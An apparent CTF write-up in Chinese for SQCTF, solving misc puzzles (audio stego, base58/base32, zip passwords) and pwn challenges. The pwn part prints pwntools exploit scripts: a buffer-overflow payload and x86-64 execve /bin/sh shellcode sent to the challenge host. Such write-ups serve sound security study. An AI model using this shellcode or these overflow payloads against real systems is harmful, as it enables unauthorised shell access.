Audacity打开音频,最下面提示SQCTF{yuan_shen_1s_a_good_game!},得到压缩包密码,解压后,得到dock文件,010editor打开发现是50 4b 03 04开头,是zip,将dock改为zip。里面有好多文件,看了好久发现media图片用010editor打开后最下面有个编码,78Nc4eeQNQLorCL6Vhh4tC8gumHm8aDi5apYDgaVoEzDvJMFUeXZn3BBhyn,试了试,发现是base58编码,解码后是S-2Q4av7C77d}T5evF66c{--y6r0db7esbutg28g73-,放到随波逐流一把梭。

题目:haha

用Audacity打开,发现有规律,应该是二进制或者摩斯编码,尝试之后是二进制。

0101001101010001010000110101010001000110011110110011010101000010010000110110100001101001010011000110010001011111010010010011010101011111011100100110010100110100001100010011000101011001010111110110001101010101010101000100010101111101

题目:孩儿们等我破军

附件中有个图片,先计算图中的A*B矩阵,然后将结果根据文件名提示排列得到压缩包密码,a11a21a23a13,根据坐标得到压缩包密码,15375022。解出六把铁剑,右键打开,发现每个铁剑最后都有个reflect={we}字符,连起来就是WeL1c0Me.是压缩包密码,解密,得到巨剑,按照先前思路,右键打开得到?key=O5XXOILUMETXGIDDORTGK4R7EE======,base32解码得到wow!ta's ctfer?,继续解压,得到破军,背景是个二维码,ps得到图片,扫描得到flag。

题目:可否许我再少年

   填写问卷调查。得到flag,SQCTF{this_is_real_end}

PWM解题步骤:
题目:浅红欺醉粉,肯信有江梅

打开容器nc 之后,直接cat /flag即可得到flag。

题目:领取你的小猫娘

    向目标服务发送一个 Payload,利用目标服务中的缓冲区溢出漏洞。

解题脚本:

*注:如该题使用自己编写的脚本代码请详细写出,不允许截图。

from pwn import *
host = 'challenge.qsnctf.com'
port = 31216

# 创建远程连接
p = remote(host, port)

payload = b'A' * 76
payload += p32(0x1)

# 发送Payload
p.sendline(payload)

p.interactive()

题目:我觉君非池中物,咫尺蛟龙云雨

通过向服务器发送一段可以执行 /bin/sh 命令的 shellcode 来获取访问权限

解题脚本:

*注:如该题使用自己编写的脚本代码请详细写出,不允许截图。

from pwn import *

connect = 0
context(os='linux', arch='amd64', log_level='debug')

if connect == 0:
    io = remote("challenge.qsnctf.com", 31898)
else:
    io = process("./pwn")

shellcode = (
    b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50"
    b"\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89"
    b"\xe7\xb0\x3b\x0f\x05"
)

io.send(shellcode)
io.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值